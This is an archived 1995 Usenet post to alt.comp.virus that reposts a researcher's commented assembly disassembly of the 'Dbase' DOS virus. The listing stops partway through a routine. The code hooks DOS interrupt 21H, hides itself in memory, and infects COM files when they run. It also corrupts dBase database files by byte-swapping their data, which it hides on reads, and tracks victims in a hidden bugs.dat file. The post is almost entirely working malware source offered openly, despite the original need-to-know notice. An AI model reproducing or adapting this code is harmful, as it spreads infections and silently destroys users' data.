home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / pc / SOURCE.ZIP / DBASE.ASM / partbinary0 < prev   
Encoding:
Text File  |  1995-10-29  |  22.4 KB  |  1,050 lines

  1. Path: chaos.dac.neu.edu!usenet.eel.ufl.edu!news.bluesky.net!solaris.cc.vt.edu!uunet!ankh.iia.org!danishm
  2. From: danishm@iia.org ()
  3. Newsgroups: alt.comp.virus
  4. Subject: DBase
  5. Date: 5 Feb 1995 21:56:43 GMT
  6. Organization: International Internet Association.
  7. Lines: 1031
  8. Message-ID: <3h3hir$sb@ankh.iia.org>
  9. NNTP-Posting-Host: iia.org
  10. X-Newsreader: TIN [version 1.2 PL2]
  11.  
  12. Here is the DBase virus:
  13.  
  14.     page    65,132
  15.     title    The 'Dbase' Virus
  16. ; ╔══════════════════════════════════════════════════════════════════════════╗
  17. ; ║                 British Computer Virus Research Centre                   ║
  18. ; ║  12 Guildford Street,   Brighton,   East Sussex,   BN1 3LS,   England    ║
  19. ; ║  Telephone:     Domestic   0273-26105,   International  +44-273-26105    ║
  20. ; ║                                                                          ║
  21. ; ║                           The 'Dbase' Virus                              ║
  22. ; ║                Disassembled by Joe Hirst,      October 1989              ║
  23. ; ║                                                                          ║
  24. ; ║                      Copyright (c) Joe Hirst 1989.                       ║
  25. ; ║                                                                          ║
  26. ; ║      This listing is only to be made available to virus researchers      ║
  27. ; ║                or software writers on a need-to-know basis.              ║
  28. ; ╚══════════════════════════════════════════════════════════════════════════╝
  29.  
  30. MCB    SEGMENT AT 0
  31.  
  32. IDENT    DB    ?
  33. OWNER    DW    ?
  34. MEMSIZE    DW    ?
  35.  
  36. MCB    ENDS
  37.  
  38. CODE    SEGMENT BYTE PUBLIC 'CODE'
  39.  
  40.     ASSUME    CS:CODE,DS:NOTHING
  41.  
  42.     ; Interrupt 21H routine
  43.  
  44. BP0000:    PUSHF
  45.     CMP    AX,0FB0AH        ; Infection test function?
  46.     JNE    BP0010            ; Branch if not
  47.     XCHG    AH,AL            ; Swap bytes
  48.     POPF
  49.     IRET
  50.  
  51.     ; Branch to open file function
  52.  
  53. BP000A:    JMP    BP06DB
  54.  
  55.     ; Branch to new file functions
  56.  
  57. BP000D:    JMP    BP0391
  58.  
  59. BP0010:    CMP    DI,0FB0AH        ; Allow free passage?
  60.     JE    BP0044            ; Branch if yes
  61.     CMP    AX,4B00H        ; Load and execute function?
  62.     JNE    BP001E            ; Branch if not
  63.     JMP    BP0490
  64.  
  65. BP001E:    CMP    AH,6CH            ; Extended open/create function?
  66.     JE    BP000D            ; Branch if yes
  67.     CMP    AH,5BH            ; Create new file function?
  68.     JE    BP000D            ; Branch if yes
  69.     CMP    AH,3CH            ; Create handle function?
  70.     JE    BP000D            ; Branch if yes
  71.     CMP    AH,3DH            ; Open handle function?
  72.     JE    BP000A            ; Branch if yes
  73.     CMP    AH,3FH            ; Read handle function?
  74.     JE    BP004A            ; Branch if yes
  75.     CMP    AH,40H            ; Write handle function?
  76.     JE    BP004D            ; Branch if yes
  77.     CMP    AH,3EH            ; Close handle function?
  78.     JNE    BP0044            ; Branch if not
  79.     JMP    BP0340
  80.  
  81.     ; Pass on to Int 21H
  82.  
  83. BP0044:    POPF
  84.     DB    0EAH            ; Far jump
  85. DW0046    DW    0            ; Int 21H offset
  86. DW0048    DW    0            ; Int 21H segment
  87.  
  88.     ; Branch to read file function
  89.  
  90. BP004A:    JMP    BP00C8
  91.  
  92.     ; Branch to write file function
  93.  
  94. BP004D:    JMP    BP015F
  95.  
  96.     JMP    BP04A7
  97.  
  98. DB0053    DB    'c:\bugs.dat', 0    ; File pathname
  99.     DB    4EH DUP (0), 0FFH    ; Read buffer
  100. DW00AE    DW    0
  101. DB00B0    DB    14H DUP (0)        ; Table of file handles
  102. DW00C4    DW    0, 0
  103.  
  104.     ; Read file function
  105.  
  106. BP00C8:    PUSH    DI
  107.     CALL    BP00CC            ; \ Get current address
  108. BP00CC:    POP    DI            ; /
  109.     SUB    DI,1CH            ; Address table of file handles
  110. BP00D0:    CMP    BYTE PTR CS:[DI],0    ; End of table?
  111.     JE    BP00DE            ; Branch if yes
  112.     CMP    CS:[DI],BL        ; Is this the file handle
  113.     JE    BP00E2            ; Branch if yes
  114.     INC    DI            ; Next entry
  115.     JMP    BP00D0
  116.  
  117. BP00DE:    POP    DI
  118.     JMP    BP0044            ; Pass on to Int 21H
  119.  
  120. BP00E2:    POP    DI
  121.     POPF
  122.     PUSH    CX
  123.     PUSH    AX
  124.     PUSH    DX
  125.     MOV    AX,4201H        ; Move file pointer (current) function
  126.     XOR    CX,CX            ; \ No offset
  127.     XOR    DX,DX            ; /
  128.     INT    21H            ; DOS service
  129.     TEST    AX,1            ; Is location odd number byte?
  130.     JZ    BP012A            ; Branch if not
  131.     MOV    AX,4201H        ; Move file pointer (current) function
  132.     MOV    CX,-1            ; \ Back one byte
  133.     MOV    DX,CX            ; /
  134.     INT    21H            ; DOS service
  135.     MOV    AH,3FH            ; Read handle function
  136.     MOV    CX,1            ; Length to read
  137.     POP    DX
  138.     CALL    BP05C3            ; DOS service
  139.     POP    AX
  140.     POP    CX
  141.     PUSH    SI
  142.     PUSH    BP
  143.     MOV    SI,DX
  144.     MOV    BP,[SI]
  145.     CALL    BP05C3            ; DOS service
  146.     PUSHF
  147.     PUSH    AX
  148.     MOV    AX,BP
  149.     MOV    [SI],AL
  150.     POP    AX
  151.     POP    BP
  152.     POP    SI
  153.     PUSH    CX
  154.     PUSH    DX
  155.     MOV    CX,AX
  156.     DEC    CX
  157.     INC    DX
  158.     CALL    BP022D            ; Reverse bytes in each word
  159.     POP    DX
  160.     POP    CX
  161.     JMP    BP0138
  162.  
  163. BP012A:    POP    DX
  164.     POP    AX
  165.     POP    CX
  166.     CALL    BP05C3            ; DOS service
  167.     PUSHF
  168.     PUSH    CX
  169.     MOV    CX,AX
  170.     CALL    BP022D            ; Reverse bytes in each word
  171.     POP    CX
  172. BP0138:    PUSH    CX
  173.     PUSH    AX
  174.     PUSH    DX
  175.     MOV    AX,4201H        ; Move file pointer (current) function
  176.     XOR    CX,CX            ; \ No offset
  177.     XOR    DX,DX            ; /
  178.     INT    21H            ; DOS service
  179.     TEST    AX,1            ; Is location odd number byte?
  180.     JZ    BP0158            ; Branch if not
  181.     POP    DX
  182.     POP    AX
  183.     PUSH    AX
  184.     PUSH    DX
  185.     ADD    DX,AX
  186.     DEC    DX
  187.     MOV    CX,1            ; Length to read
  188.     MOV    AH,3FH            ; Read handle function
  189.     CALL    BP05C3            ; DOS service
  190. BP0158:    POP    DX
  191.     POP    AX
  192.     POP    CX
  193.     POPF
  194.     RETF    2
  195.  
  196.     ; Write file function
  197.  
  198. BP015F:    PUSH    DI
  199.     CALL    BP0163            ; \ Get current address
  200. BP0163:    POP    DI            ; /
  201.     SUB    DI,OFFSET BP0163-DB00B0    ; Address table of file handles
  202. BP0168:    CMP    BYTE PTR CS:[DI],0    ; End of table?
  203.     JE    BP0176            ; Branch if yes
  204.     CMP    CS:[DI],BL        ; Is this the file handle
  205.     JE    BP017A            ; Branch if yes
  206.     INC    DI            ; Next entry
  207.     JMP    BP0168
  208.  
  209. BP0176:    POP    DI
  210.     JMP    BP0044            ; Pass on to Int 21H
  211.  
  212. BP017A:    CALL    BP017D            ; \ Get current address
  213. BP017D:    POP    DI            ; /
  214.     SUB    DI,OFFSET BP017D-DW00C4
  215.     MOV    WORD PTR CS:[DI],0
  216.     MOV    WORD PTR CS:[DI+2],0
  217.     PUSH    AX
  218.     PUSH    BX
  219.     PUSH    CX
  220.     PUSH    DX
  221.     MOV    AX,4201H        ; Move file pointer (current) function
  222.     XOR    CX,CX            ; \ No offset
  223.     XOR    DX,DX            ; /
  224.     MOV    DI,0FB0AH        ; Allow free passage to DOS
  225.     INT    21H            ; DOS service
  226.     TEST    AX,1            ; Is location odd number byte?
  227.     JNZ    BP01C0            ; Branch if yes
  228.     POP    DX
  229.     POP    CX
  230.     TEST    AX,1            ; Is location odd number byte?
  231.     JNZ    BP01B2            ; Branch if yes (???)
  232.     MOV    AX,0
  233.     CALL    BP0200
  234.     JMP    BP01E9
  235.  
  236. BP01B2:    MOV    AX,1
  237.     CALL    BP0200
  238.     JB    BP01E9
  239.     CALL    BP02B9
  240.     JMP    BP01E9
  241.  
  242. BP01C0:    POP    DX
  243.     POP    CX
  244.     TEST    CX,1
  245.     JZ    BP01D6
  246.     CALL    BP0262
  247.     JB    BP01E9
  248.     MOV    AX,0100H
  249.     CALL    BP0200
  250.     JMP    BP01E9
  251.  
  252. BP01D6:    CALL    BP0262
  253.     JB    BP01E9
  254.     MOV    AX,0101H
  255.     CALL    BP0200
  256.     JB    BP01E9
  257.     CALL    BP02B9
  258.     JMP    BP01E9
  259.  
  260. BP01E9:    POP    BX
  261.     POP    AX
  262.     POP    DI
  263.     CALL    BP01EF            ; \ Get current address
  264. BP01EF:    POP    SI            ; /
  265.     SUB    SI,OFFSET BP01EF-DW00C4
  266.     PUSH    CS:[SI+2]
  267.     POPF
  268.     MOV    AX,CS:[SI]
  269.     POP    SI
  270.     RETF    2
  271.  
  272. BP0200:    CMP    CX,1
  273.     JNE    BP0209
  274.     CALL    BP0242
  275.     RET
  276.  
  277. BP0209:    CALL    BP0215
  278.     CALL    BP0242
  279.     PUSHF
  280.     CALL    BP0215
  281.     POPF
  282.     RET
  283.  
  284. BP0215:    PUSH    CX
  285.     PUSH    DX
  286.     CALL    BP0220
  287.     CALL    BP022D            ; Reverse bytes in each word
  288.     POP    DX
  289.     POP    CX
  290.     RET
  291.  
  292. BP0220:    CMP    AH,1
  293.     JNE    BP0227
  294.     INC    DX
  295.     DEC    CX
  296. BP0227:    CMP    AL,1
  297.     JNE    BP022C
  298.     DEC    CX
  299. BP022C:    RET
  300.  
  301.     ; Reverse bytes in each word
  302.  
  303. BP022D:    PUSH    SI
  304.     PUSH    CX
  305.     PUSH    AX
  306.     MOV    SI,DX
  307.     SHR    CX,1            ; Divide count by two
  308. BP0234:    MOV    AX,[SI]            ; Get next word
  309.     XCHG    AH,AL            ; Reverse bytes in word
  310.     MOV    [SI],AX            ; Replace word
  311.     INC    SI            ; \ Next word
  312.     INC    SI            ; /
  313.     LOOP    BP0234            ; Repeat for count
  314.     POP    AX
  315.     POP    CX
  316.     POP    SI
  317.     RET
  318.  
  319. BP0242:    PUSH    AX
  320.     PUSH    CX
  321.     PUSH    DX
  322.     PUSH    DI
  323.     CALL    BP0220
  324.     MOV    AH,40H            ; Write handle function
  325.     INT    21H            ; DOS service
  326.     PUSHF
  327.     CALL    BP0251            ; \ Get current address
  328. BP0251:    POP    DI            ; /
  329.     SUB    DI,OFFSET BP0251-DW00C4
  330.     POP    CS:[DI+2]
  331.     ADD    CS:[DI],AX
  332.     POP    DI
  333.     POP    DX
  334.     POP    CX
  335.     POP    AX
  336.     RET
  337.  
  338. BP0262:    PUSH    AX
  339.     PUSH    CX
  340.     PUSH    DX
  341.     PUSH    SI
  342.     PUSH    BP
  343.     MOV    DX,-1            ; \ Back one byte
  344.     MOV    CX,DX            ; /
  345.     MOV    AX,4201H        ; Move file pointer (current) function
  346.     INT    21H            ; DOS service
  347.     MOV    AH,3FH            ; Read handle function
  348.     MOV    CX,1            ; Length to read
  349.     MOV    SI,DX
  350.     MOV    BP,[SI]
  351.     INT    21H            ; DOS service
  352.     JB    BP02A3            ; Branch if error
  353.     MOV    DX,-1            ; \ Back one byte
  354.     MOV    CX,DX            ; /
  355.     MOV    AX,4201H        ; Move file pointer (current) function
  356.     INT    21H            ; DOS service
  357.     XCHG    BP,[SI]
  358.     MOV    CX,1            ; Length to write
  359.     MOV    AH,40H            ; Write handle function
  360.     INT    21H            ; DOS service
  361.     JB    BP02A3            ; Branch if error
  362.     XCHG    BP,[SI]
  363.     MOV    CX,1            ; Length to write
  364.     MOV    AH,40H            ; Write handle function
  365.     INT    21H            ; DOS service
  366.     JB    BP02A3            ; Branch if error
  367.     XCHG    BP,[SI]
  368.     MOV    AX,1
  369. BP02A3:    PUSHF
  370.     CALL    BP02A7            ; \ Get current address
  371. BP02A7:    POP    SI            ; /
  372.     SUB    SI,OFFSET BP02A7-DW00C4
  373.     POP    CS:[SI+2]
  374.     MOV    CS:[SI],AX
  375.     POP    BP
  376.     POP    SI
  377.     POP    DX
  378.     POP    CX
  379.     POP    AX
  380.     RET
  381.  
  382. BP02B9:    PUSH    AX
  383.     PUSH    CX
  384.     PUSH    DX
  385.     PUSH    SI
  386.     PUSH    BP
  387.     MOV    SI,DX
  388.     ADD    SI,CX
  389.     DEC    SI
  390.     MOV    DX,1            ; \ Forward one byte
  391.     XOR    CX,CX            ; /
  392.     MOV    AX,4201H        ; Move file pointer (current) function
  393.     INT    21H            ; DOS service
  394.     MOV    AH,3FH            ; Read handle function
  395.     MOV    CX,1            ; Read one byte
  396.     MOV    BP,[SI]
  397.     INT    21H            ; DOS service
  398.     JB    BP02E0            ; Branch if error
  399.     CMP    AX,1            ; One byte read?
  400.     JNE    BP02E0            ; Branch if not
  401.     JMP    BP02F6
  402.  
  403. BP02E0:    MOV    CX,-1            ; \ Back one byte
  404.     MOV    DX,CX            ; /
  405.     MOV    AX,4201H        ; Move file pointer (current) function
  406.     INT    21H            ; DOS service
  407.     MOV    DX,SI
  408.     MOV    CX,1            ; Length to write
  409.     MOV    AH,40H            ; Write handle function
  410.     INT    21H            ; DOS service
  411.     JMP    BP032A
  412.  
  413. BP02F6:    MOV    DX,-2            ; \ Back two byte
  414.     MOV    CX,-1            ; /
  415.     MOV    AX,4201H        ; Move file pointer (current) function
  416.     INT    21H            ; DOS service
  417.     XCHG    BP,[SI]
  418.     MOV    CX,1            ; Length to write
  419.     MOV    AH,40H            ; Write handle function
  420.     MOV    DX,SI
  421.     INT    21H            ; DOS service
  422.     JB    BP032A            ; Branch if error
  423.     XCHG    BP,[SI]
  424.     MOV    CX,1            ; Length to write
  425.     MOV    AH,40H            ; Write handle function
  426.     MOV    DX,SI
  427.     INT    21H            ; DOS service
  428.     JB    BP032A            ; Branch if error
  429.     XCHG    BP,[SI]
  430.     MOV    DX,-1            ; \ Back one byte
  431.     MOV    CX,DX            ; /
  432.     MOV    AX,4201H        ; Move file pointer (current) function
  433.     INT    21H            ; DOS service
  434.     MOV    AX,1
  435. BP032A:    PUSHF
  436.     CALL    BP032E            ; \ Get current address
  437. BP032E:    POP    SI            ; /
  438.     SUB    SI,OFFSET BP032E-DW00C4
  439.     POP    CS:[SI+2]
  440.     ADD    CS:[SI],AX
  441.     POP    BP
  442.     POP    SI
  443.     POP    DX
  444.     POP    CX
  445.     POP    AX
  446.     RET
  447.  
  448. BP0340:    PUSH    BP
  449.     PUSH    CX
  450.     CALL    BP0345            ; \ Get current address
  451. BP0345:    POP    BP            ; /
  452.     SUB    BP,OFFSET BP0345-DW00AE
  453.     MOV    CX,CS:[BP+0]
  454.     CMP    CX,0
  455.     JE    BP037C
  456.     ADD    BP,2
  457. BP0356:    CMP    CS:[BP+0],BL
  458.     JE    BP0362
  459.     INC    BP
  460.     LOOP    BP0356
  461.     JMP    BP037C
  462.  
  463. BP0362:    MOV    CL,CS:[BP+1]
  464.     MOV    CS:[BP+0],CL
  465.     INC    BP
  466.     CMP    CL,0
  467.     JNE    BP0362
  468.     CALL    BP0373            ; \ Get current address
  469. BP0373:    POP    BP            ; /
  470.     SUB    BP,OFFSET BP0373-DW00AE
  471.     DEC    WORD PTR CS:[BP+0]
  472. BP037C:    POP    CX
  473.     POP    BP
  474.     JMP    BP0044            ; Pass on to Int 21H
  475.  
  476. BP0381:    JMP    BP04A7
  477.  
  478.     JMP    BP0044            ; Pass on to Int 21H
  479.  
  480. DW0387    DW    0            ; File date
  481. DW0389    DW    0            ; File time
  482. DW038B    DW    0            ; File attributes
  483. DW038D    DW    0            ; Pathname segment
  484. DW038F    DW    0            ; Pathname offset
  485.  
  486.     ; New file functions
  487.  
  488. BP0391:    PUSH    SI
  489.     PUSH    BP
  490.     CMP    AH,6CH            ; Extended open/create function?
  491.     JE    BP039A            ; Branch if yes
  492.     MOV    SI,DX            ; Copy filepath pointer
  493. BP039A:    MOV    BP,SI            ; Copy filepath pointer
  494.     CALL    BP0453            ; Convert pathname to uppercase
  495.     CALL    BP0468            ; Test for Dbase file
  496.     JNE    BP0381            ; Branch if not
  497.     PUSH    DX
  498.     MOV    DX,SI            ; Copy pathname (for function 6CH)
  499.     CALL    BP0665            ; Search BUG.DAT file for pathname
  500.     POP    DX
  501.     JB    BP0415            ; Branch if found
  502.     PUSH    ES
  503.     PUSH    DS
  504.     PUSH    DX
  505.     PUSH    SI
  506.     PUSH    DI
  507.     PUSH    CX
  508.     PUSH    BX
  509.     PUSH    AX
  510.     CALL    BP03B8            ; \ Get current address
  511. BP03B8:    POP    DX            ; /
  512.     SUB    DX,OFFSET BP03B8-DB0053    ; Address 'BUGS.DAT' pathname
  513.     PUSH    BP
  514.     MOV    BP,DS            ; \ Set ES to DS
  515.     MOV    ES,BP            ; /
  516.     POP    BP
  517.     PUSH    CS            ; \ Set DS to CS
  518.     POP    DS            ; /
  519.     MOV    AX,3D02H        ; Open handle (R/W) function
  520.     MOV    DI,0FB0AH        ; Allow free passage to DOS
  521.     INT    21H            ; DOS service
  522.     JNB    BP03D8            ; Branch if no error
  523.     MOV    AH,3CH            ; Create handle function
  524.     MOV    CX,2            ; Hidden file
  525.     INT    21H            ; DOS service
  526.     JB    BP0448            ; Branch if error
  527. BP03D8:    MOV    BX,AX            ; Move handle
  528.     CALL    BP06F7            ; Is file out of time?
  529.     XOR    DX,DX            ; \ No offset
  530.     XOR    CX,CX            ; /
  531.     MOV    AX,4202H        ; Move file pointer (EOF) function
  532.     INT    21H            ; DOS service
  533.     MOV    DX,BP
  534.     MOV    DI,DX
  535.     MOV    BP,ES            ; \ Set DS to ES
  536.     MOV    DS,BP            ; /
  537.     MOV    CX,004EH        ; Length to write
  538.     MOV    AH,40H            ; Write handle function
  539.     MOV    DI,0FB0AH        ; Allow free passage to DOS
  540.     INT    21H            ; DOS service
  541.     CALL    BP03FB            ; \ Get current address
  542. BP03FB:    POP    SI            ; /
  543.     SUB    SI,74H            ; Address file date
  544.     MOV    DX,CS:[SI]        ; Get file date
  545.     MOV    AX,5701H        ; Set file date & time function
  546.     INT    21H            ; DOS service
  547.     MOV    AH,3EH            ; Close handle function
  548.     INT    21H            ; DOS service
  549.     JB    BP0448            ; Branch if error
  550.     POP    AX
  551.     POP    BX
  552.     POP    CX
  553.     POP    DI
  554.     POP    SI
  555.     POP    DX
  556.     POP    DS
  557.     POP    ES
  558. BP0415:    POP    BP
  559.     POP    SI
  560.     POPF
  561.     CALL    BP05C3            ; DOS service
  562.     JB    BP0420            ; Branch if error
  563.     CALL    BP0423
  564. BP0420:    RETF    2
  565.  
  566. BP0423:    PUSHF
  567.     PUSH    SI
  568.     CALL    BP0428            ; \ Get current address
  569. BP0428:    POP    SI            ; /
  570.     SUB    SI,OFFSET BP0428-DW00AE
  571.     CMP    WORD PTR CS:[SI],14H
  572.     JE    BP0447
  573.     INC    WORD PTR CS:[SI]
  574.     PUSH    BX
  575.     MOV    BX,SI
  576.     ADD    BX,CS:[SI]
  577.     ADD    BX,CS:[SI]
  578.     MOV    SI,BX
  579.     POP    BX
  580.     MOV    CS:[SI],AL
  581.     POP    SI
  582.     POPF
  583. BP0447:    RET
  584.  
  585. BP0448:    POP    AX
  586.     POP    BX
  587.     POP    CX
  588.     POP    DI
  589.     POP    SI
  590.     POP    DX
  591.     POP    DS
  592.     POP    ES
  593.     JMP    BP04A7
  594.  
  595.     ; Convert pathname to uppercase
  596.  
  597. BP0453:    PUSH    SI
  598.     MOV    SI,DX            ; Copy pathname pointer
  599. BP0456:    CMP    BYTE PTR [SI],0        ; End of pathname?
  600.     JE    BP0466            ; Branch if yes
  601.     CMP    BYTE PTR [SI],'a'    ; Lowercase character?
  602.     JB    BP0463            ; Branch if not
  603.     SUB    BYTE PTR [SI],' '    ; Convert to uppercase
  604. BP0463:    INC    SI            ; Next character
  605.     JMP    BP0456            ; Process next character
  606.  
  607. BP0466:    POP    SI
  608.     RET
  609.  
  610.     ; Test for Dbase file
  611.  
  612. BP0468:    CALL    BP0453            ; Convert pathname to uppercase
  613.     PUSH    SI
  614. BP046C:    CMP    BYTE PTR [SI],0        ; End of pathname?
  615.     JE    BP0480            ; Branch if yes
  616.     CMP    BYTE PTR [SI],'.'    ; Extension character?
  617.     JE    BP0479            ; Branch if yes
  618.     INC    SI            ; Next character
  619.     JMP    BP046C            ; Process next character
  620.  
  621. BP0479:    INC    SI            ; Next character
  622.     CMP    WORD PTR [SI],'BD'    ; Database file (1)?
  623.     JNE    BP0484            ; Branch if not
  624. BP0480:    CMP    BYTE PTR [SI+2],'F'    ; Database file (2)?
  625. BP0484:    POP    SI
  626.     RET
  627.  
  628. DB0486    DB    0CDH, 20H, 90H, 90H    ; Start of host read buffer
  629. DB048A    DB    0, 0            ; Signature read buffer
  630. DB048C    DB    0E9H, 0, 0        ; Initial jump instruction
  631.     DB    0
  632.  
  633.     ; Load and execute function
  634.  
  635. BP0490:    PUSH    BP
  636.     PUSH    SI
  637.     MOV    SI,DX            ; Copy pathname pointer
  638. BP0494:    CMP    BYTE PTR [SI],0        ; End of pathname?
  639.     JE    BP04A7            ; Branch if yes
  640.     CMP    BYTE PTR [SI],'.'    ; Extension indicator?
  641.     JE    BP04AC            ; Branch if yes
  642.     INC    SI            ; Next character
  643.     JMP    BP0494            ; Process next character
  644.  
  645. BP04A1:    POP    DS
  646.     POP    DX
  647.     POP    DI
  648.     POP    CX
  649.     POP    BX
  650.     POP    AX
  651. BP04A7:    POP    BP
  652.     POP    SI
  653.     JMP    BP0044            ; Pass on to Int 21H
  654.  
  655. BP04AC:    INC    SI            ; Next character
  656.     CMP    WORD PTR [SI],'OC'    ; Is it a COM file? (1)
  657.     JNE    BP04A7            ; Branch if not
  658.     CMP    BYTE PTR [SI+2],'M'    ; Is it a COM file? (1)
  659.     JNE    BP04A7            ; Branch if not
  660.     PUSH    AX
  661.     PUSH    BX
  662.     PUSH    CX
  663.     PUSH    DI
  664.     PUSH    DX
  665.     PUSH    DS
  666.     PUSH    SI
  667.     PUSH    CX
  668.     MOV    AX,4300H        ; Get file attributes function
  669.     INT    21H            ; DOS service
  670.     CALL    BP04C9            ; \ Get current address
  671. BP04C9:    POP    SI            ; /
  672.     SUB    SI,OFFSET BP04C9-DW038B    ; Address file attributes
  673.     MOV    CS:[SI],CX        ; Save file attributes
  674.     MOV    CS:[SI+2],DS        ; Save pathname segment
  675.     MOV    CS:[SI+4],DX        ; Save pathname offset
  676.     AND    CX,00FEH        ; Switch off read only
  677.     MOV    AX,4301H        ; Set file attributes function
  678.     INT    21H            ; DOS service
  679.     POP    CX
  680.     POP    SI
  681.     MOV    AX,3D00H        ; Open handle (read) function
  682.     INT    21H            ; DOS service
  683.     JB    BP04A1            ; Branch if error
  684.     MOV    BX,AX            ; Move handle
  685.     MOV    AX,5700H        ; Get file date & time function
  686.     INT    21H            ; DOS service
  687.     PUSH    SI
  688.     CALL    BP04F6            ; \ Get current address
  689. BP04F6:    POP    SI            ; /
  690.     SUB    SI,OFFSET BP04F6-DW0387    ; Address file date
  691.     MOV    CS:[SI],DX        ; Save file date
  692.     MOV    CS:[SI+2],CX        ; Save file time
  693.     POP    SI
  694.     MOV    AH,3FH            ; Read handle function
  695.     MOV    CX,4            ; Length to read
  696.     CALL    BP050B            ; \ Get current address
  697. BP050B:    POP    SI            ; /
  698.     SUB    SI,OFFSET BP050B    ; Offset of start of virus
  699.     MOV    DX,SI            ; \ Address start of host read buffer
  700.     ADD    DX,OFFSET DB0486    ; /
  701.     PUSH    CS            ; \ Set DS to CS
  702.     POP    DS            ; /
  703.     INT    21H            ; DOS service
  704.     JB    BP058A            ; Branch if error
  705.     PUSH    DX
  706.     PUSH    SI
  707.     MOV    SI,DX            ; Address start of host read buffer
  708.     MOV    DX,[SI+1]        ; Get branch offset (if its a branch?)
  709.     INC    DX            ; \ Address to signature (DB0630)
  710.     XOR    CX,CX            ; /
  711.     MOV    AX,4200H        ; Move file pointer (start) function
  712.     INT    21H            ; DOS service
  713.     POP    SI
  714.     POP    DX
  715.     JB    BP058A            ; Branch if error
  716.     MOV    AH,3FH            ; Read handle function
  717.     MOV    CX,2            ; Length to read
  718.     ADD    DX,4            ; Address to signature read buffer
  719.     INT    21H            ; DOS service
  720.     PUSH    SI
  721.     MOV    SI,DX            ; \ Copy signature read buffer address
  722.     MOV    DI,SI            ; /
  723.     CMP    WORD PTR [SI],0E5E5H    ; Test signature
  724.     POP    SI
  725.     JE    BP058A            ; Branch if infected
  726.     MOV    AH,3EH            ; Close handle function
  727.     INT    21H            ; DOS service
  728.     POP    DS
  729.     POP    DX
  730.     PUSH    DX
  731.     PUSH    DS
  732.     MOV    AX,3D02H        ; Open handle (R/W) function
  733.     INT    21H            ; DOS service
  734.     JNB    BP0557            ; Branch if no error
  735.     JMP    BP04A1
  736.  
  737. BP0557:    PUSH    CS            ; \ Set DS to CS
  738.     POP    DS            ; /
  739.     MOV    BX,AX            ; Move handle
  740.     MOV    AX,4202H        ; Move file pointer (EOF) function
  741.     XOR    CX,CX            ; \ No offset
  742.     XOR    DX,DX            ; /
  743.     INT    21H            ; DOS service
  744.     ADD    AX,OFFSET START-3    ; Add entry point offset
  745.     NOP
  746.     MOV    [DI+3],AX        ; Store in initial jump instruction
  747.     XOR    DX,DX            ; Address start of virus
  748.     MOV    AH,40H            ; Write handle function
  749.     MOV    CX,OFFSET ENDADR    ; Length of virus
  750.     NOP
  751.     INT    21H            ; DOS service
  752.     MOV    AX,4200H        ; Move file pointer (start) function
  753.     XOR    CX,CX            ; \ No offset
  754.     XOR    DX,DX            ; /
  755.     INT    21H            ; DOS service
  756.     MOV    DX,DI            ; \ Address initial jump instruction
  757.     ADD    DX,2            ; /
  758.     MOV    CX,3            ; Length of jump instruction
  759.     MOV    AH,40H            ; Write handle function
  760.     INT    21H            ; DOS service
  761. BP058A:    PUSH    SI
  762.     CALL    BP058E            ; \ Get current address
  763. BP058E:    POP    SI            ; /
  764.     SUB    SI,OFFSET BP058E-DW0387    ; Address file date
  765.     MOV    DX,CS:[SI]        ; Get file date
  766.     MOV    CX,CS:[SI+2]        ; Get file time
  767.     POP    SI
  768.     MOV    AX,5701H        ; Set file date & time function
  769.     INT    21H            ; DOS service
  770.     MOV    AH,3EH            ; Close handle function
  771.     INT    21H            ; DOS service
  772.     PUSH    SI
  773.     PUSH    CX
  774.     CALL    BP05A9            ; \ Get current address
  775. BP05A9:    POP    SI            ; /
  776.     SUB    SI,OFFSET BP05A9-DW038B    ; Address file attributes
  777.     MOV    CX,CS:[SI]        ; Get file attributes
  778.     MOV    DS,CS:[SI+2]        ; Get pathname offset
  779.     MOV    DX,CS:[SI+4]        ; Get pathname segment
  780.     MOV    AX,4301H        ; Set file attributes function
  781.     INT    21H            ; DOS service
  782.     POP    CX
  783.     POP    SI
  784.     JMP    BP04A1
  785.  
  786.     ; Call DOS service
  787.  
  788. BP05C3:    PUSHF
  789.     DB    9AH            ; Far call
  790. DW05C5    DW    0            ; Int 21H offset
  791. DW05C7    DW    0            ; Int 21H segment
  792.     RET
  793.  
  794.     ; Infect system
  795.  
  796. BP05CA:    PUSH    SI
  797.     CALL    BP05CE            ; \ Get current address
  798. BP05CE:    POP    SI            ; /
  799.     SUB    SI,OFFSET BP05CE    ; Relocate from start of virus
  800.     PUSH    AX
  801.     PUSH    BX
  802.     PUSH    CX
  803.     PUSH    DX
  804.     PUSH    DI
  805.     PUSH    DS
  806.     PUSH    ES
  807.     MOV    AX,3521H        ; Get Int 21H function
  808.     INT    21H            ; DOS service
  809.     MOV    CS:[SI+46H],BX        ; \ Install vector in jump
  810.     MOV    CS:[SI+48H],ES        ; /
  811.     MOV    CS:DW05C5[SI],BX    ; \ Install vector in call
  812.     MOV    CS:DW05C7[SI],ES    ; /
  813.     PUSH    CS            ; \ Get current segment
  814.     POP    AX            ; /
  815.     DEC    AX            ; \ Address MCB
  816.     MOV    DS,AX            ; /
  817.     ASSUME    DS:MCB
  818.     MOV    DX,MEMSIZE        ; Get memory block length
  819.     SUB    DX,0074H        ; \ Subtract virus length
  820.     nop
  821.     DEC    DX            ; /
  822.     MOV    MEMSIZE,DX        ; Replace new length
  823.     ASSUME    DS:NOTHING
  824.     PUSH    CS            ; \ Get current segment
  825.     POP    AX            ; /
  826.     ADD    DX,AX            ; \ Address free space
  827.     MOV    DS,DX            ; /
  828.     MOV    DI,0            ; Start of free space
  829.     MOV    CX,OFFSET ENDADR        ; Length of virus
  830.     NOP
  831.     CLI
  832.     PUSH    SI
  833. BP0612:    MOV    AL,CS:[SI]
  834.     MOV    [DI],AL
  835.     INC    SI
  836.     INC    DI
  837.     LOOP    BP0612
  838.     POP    SI
  839.     MOV    DS,DX
  840.     MOV    DX,OFFSET BP0000
  841.     MOV    AX,2521H        ; Set Int 21H function
  842.     INT    21H            ; DOS service
  843.     STI
  844.     POP    ES
  845.     POP    DS
  846.     POP    DI
  847.     POP    DX
  848.     POP    CX
  849.     POP    BX
  850.     POP    AX
  851.     JMP    BP0640
  852.  
  853. DB0630    DB    0E5H, 0E5H
  854.  
  855.     ; Entry point
  856.  
  857. START:    PUSH    AX
  858.     MOV    AX,0FB0AH        ; Infection test function
  859.     INT    21H            ; DOS service
  860.     CMP    AX,0AFBH        ; Is system infected?
  861.     JE    BP0640            ; Branch if yes
  862.     JMP    BP05CA
  863.  
  864. BP0640:    PUSH    SI
  865.     CALL    BP0644            ; \ Get current address
  866. BP0644:    POP    SI            ; /
